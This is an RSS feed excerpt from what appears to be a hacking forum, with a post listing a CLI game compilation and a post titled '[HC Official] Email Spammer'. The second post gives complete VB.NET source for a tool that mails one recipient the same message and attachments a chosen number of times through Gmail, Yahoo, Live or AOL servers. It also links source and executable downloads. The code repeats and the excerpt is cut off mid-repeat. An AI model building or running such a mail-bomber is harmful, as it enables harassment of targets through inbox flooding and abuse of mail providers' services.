@<a id="mention_39804" href="User-PInkleton"><span style="color: #e6e6e6;">PInkleton</span> </a>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size: x-large;"><span style="color: #FFD700;">HC CLI Game Compilation</span></span></span></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Linux:</span></span></span><br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s7.directupload.net/images/130406/vu4bbdjf.png" border="0" alt="[Image: vu4bbdjf.png]" /></a><br />
<br />
Download: <a href="http://uppit.com/9te57w2m3pc9/linuxbin.zip" target="_blank">http://uppit.com/9te57w2m3pc9/linuxbin.zip</a><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Windows:</span></span></span><br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s1.directupload.net/images/130409/do349uwb.png" border="0" alt="[Image: do349uwb.png]" /></a><br />
<br />
Download: <a href="http://uppit.com/7vkdy8nn05hk/windowsbin.zip" target="_blank">http://uppit.com/7vkdy8nn05hk/windowsbin.zip</a><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Usage:</span></span></span><br />
<br />
Make sure that you fulfill the requirements. You should at least install Python27 as most programs run with python.<br />
Extract the zip file, run start.py and have fun.<br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Requirements:</span></span></span><br />
<br />
Install runtimes for the following programming languages:<br />
<br />
Python27: <a href="http://www.python.org/getit/" target="_blank">http://www.python.org/getit/</a><br />
Python33: <a href="http://www.python.org/getit/" target="_blank">http://www.python.org/getit/</a><br />
Java: <a href="https://www.java.com/de/download/" target="_blank">https://www.java.com/de/download/</a><br />
Lua: <a href="http://www.lua.org/download.html" target="_blank">http://www.lua.org/download.html</a><br />
<br />
Post below if you have any problems or need help to get the games to run.<br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Authors:</span></span></span><br />
<br />
Thanks to the game authors:<br />
<br />
@<a id="mention_24811" href="User-Psycho-Coder"><span style="color: #FFF; text-shadow: 0px 0px 5px rgb(255, 255, 255); background:url(http://i.imgur.com/rGHDI.gif);"> Psycho_Coder</span></a><br />
@<a id="mention_29847" href="User-chmod"><span style="color:#fff088;">chmod</span></a><br />
@<a id="mention_5575" href="User-Jacob"><span style="color:#72d9ff;">Jacob</span></a><br />
@<a id="mention_32336" href="User-Xe-4"><span style="color: #e6e6e6;">Xe.4</span> </a><br />
@<a id="mention_16620" href="User-DaPaus"><span style="color: #FF9A00; text-shadow: 0px 0px 5px rgb(255, 173, 0); background:url(http://i.imgur.com/rGHDI.gif);">DaPaus</span></a><br />
@<a id="mention_34892" href="User-JesseH"><span style="color:#fff088;">JesseH</span></a><br />
@<a id="mention_34809" href="User-Ex094"><span style="color: #41FF24;">Ex094</span></a><br />
@<a id="mention_28555" href="User-H4R0015K"><span style="color: #41FF24;">H4R0015K</span></a><br />
@<a id="mention_39804" href="User-PInkleton"><span style="color: #e6e6e6;">PInkleton</span> </a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Email Spammer]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Email-Spammer</link>
			<pubDate>Tue, 02 Apr 2013 16:07:32 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Email-Spammer</guid>
			<description><![CDATA[<div style="text-align: center;"><img src="http://i.imgur.com/PWlX5.png" border="0" alt="[Image: PWlX5.png]" /><br />
<br />
<img src="http://i1066.photobucket.com/albums/u409/UNIVERSAHACKERS/pichc-1.png" border="0" alt="[Image: pichc-1.png]" /></div>
<br />
<br />
<span style="font-weight: bold;"><span style="color: #FFA500;"><span style="font-size: medium;">Source Code- [UPDATED]</span></span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Imports System.Net.Mail<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim s1 As Integer = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim p As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton3.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.Exit()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton2.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BackgroundWorker1.CancelAsync()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label12.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label13.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label14.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label15.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label16.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.ReadOnly = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.ReadOnly = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton1.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case String.Empty<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox1.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label12.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox2.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label13.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox5.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label14.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox6.Text, GhostTextBox7.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label15.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label16.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Please choose your Mail Provider", "Mail Provider Not Chosen", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s1 = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Update()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton1.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton3.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton2.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If NumericUpDown1.Value = 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Please select how many mails do you want to sent!", "How many mail to be sent ?", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BackgroundWorker1.RunWorkerAsync()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Maximum = NumericUpDown1.Value<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim msg As New MailMessage()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.From = New MailAddress(GhostTextBox1.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.To.Add(GhostTextBox5.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Subject = (GhostTextBox4.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Body = GhostTextBox3.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For counter = 0 To ListBox1.Items.Count - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Attachments.Add(Attach)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim SMTPServer As New SmtpClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Host = GhostTextBox6.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Port = GhostTextBox7.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Credentials = New System.Net.NetworkCredential(GhostTextBox1.Text, GhostTextBox2.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.EnableSsl = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do Until s1 = NumericUpDown1.Value<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If BackgroundWorker1.CancellationPending Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Send(msg)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s1 = s1 + 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ProgressBar1.Value = s1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loop<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("All the Mail has been Sent!", "Mail Sent", MessageBoxButtons.OK, MessageBoxIcon.Information)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(ex.ToString)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For Each fls As String In OpenFileDialog1.FileNames<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add(fls)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton4.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenFileDialog1.ShowDialog()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton1.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton3.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton2.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton5.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ListBox1.Items.Count = 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("No attachments to clear", "No Attachments", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case ComboBox1.SelectedIndex<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.ReadOnly = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.ReadOnly = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.gmail.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.mail.yahoo.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "465"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.live.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 5<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.aol.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
End Class</code></div></div>
<br />
<img src="http://4.bp.blogspot.com/-d0xkbdQrAS0/UIWp7r75wTI/AAAAAAAAV8o/ZAleFme4TGE/s320/97253571510598985560.png" border="0" alt="[Image: 97253571510598985560.png]" /><br />
<br />
<a href="http://www.mediafire.com/?wnpq6rgjxj09y2a" target="_blank"><span style="font-style: italic;"><span style="font-size: large;"><span style="color: #32CD32;">Mail Spammer-(Source + exe)</span></span></span></a><br />
<br />
<img src="http://4.bp.blogspot.com/-d0xkbdQrAS0/UIWp7r75wTI/AAAAAAAAV8o/ZAleFme4TGE/s320/97253571510598985560.png" border="0" alt="[Image: 97253571510598985560.png]" /><br />
<br />
<a href="http://www.mediafire.com/?bmfb92xq7dp1aae" target="_blank"><span style="font-style: italic;"><span style="font-size: large;"><span style="color: #32CD32;">Mail Spammer-(exe only)</span></span></span></a><br />
<br />
<span style="font-style: italic;"><span style="color: #FF0000;">Note:-<br />
</span>Both both x64 and x86 exe are there the links</span><br />
<br />
<div style="text-align: center;"><span style="font-size: x-large;"><span style="color: #32CD32;">VIRUS SCAN</span></span><br />
<a href="http://onlinelinkscan.com/results/mediafire-comwnpq6rgjxj09y2a/" target="_blank"><span style="font-style: italic;"><span style="color: #FF4500;"><span style="font-size: large;">(For Source+exe)-Click Here!</span></span></span></a></div>
<br />
<div style="text-align: center;"><span style="font-size: x-large;"><span style="color: #32CD32;">VIRUS SCAN</span></span><br />
<a href="http://onlinelinkscan.com/results/mediafire-combmfb92xq7dp1aae/" target="_blank"><span style="font-style: italic;"><span style="color: #FF4500;"><span style="font-size: large;">(For exe only)-Click Here!</span></span></span></a></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #1E90FF;">Credits for theme:</span></span></span><br />
<br />
<span style="font-size: medium;"><span style="color: #FFD700;"><span style="font-style: italic;">Aeonhack - For GhostTheme</span></span></span><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #1E90FF;">Reference:</span></span></span><br />
<span style="color: #00BFFF;"><span style="font-size: medium;">1. <a href="http://vb.net-informations.com/" target="_blank">http://vb.net-informations.com/</a><br />
2. MSDN Library.</span></span>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;"><img src="http://i.imgur.com/PWlX5.png" border="0" alt="[Image: PWlX5.png]" /><br />
<br />
<img src="http://i1066.photobucket.com/albums/u409/UNIVERSAHACKERS/pichc-1.png" border="0" alt="[Image: pichc-1.png]" /></div>
<br />
<br />
<span style="font-weight: bold;"><span style="color: #FFA500;"><span style="font-size: medium;">Source Code- [UPDATED]</span></span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Imports System.Net.Mail<br />
<br />
Public Class Form1<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim s1 As Integer = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim p As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton3.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.Exit()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton2.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BackgroundWorker1.CancelAsync()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label12.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label13.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label14.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label15.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label16.Visible = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.ReadOnly = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.ReadOnly = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton1.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case String.Empty<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox1.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label12.Visible = True<br />
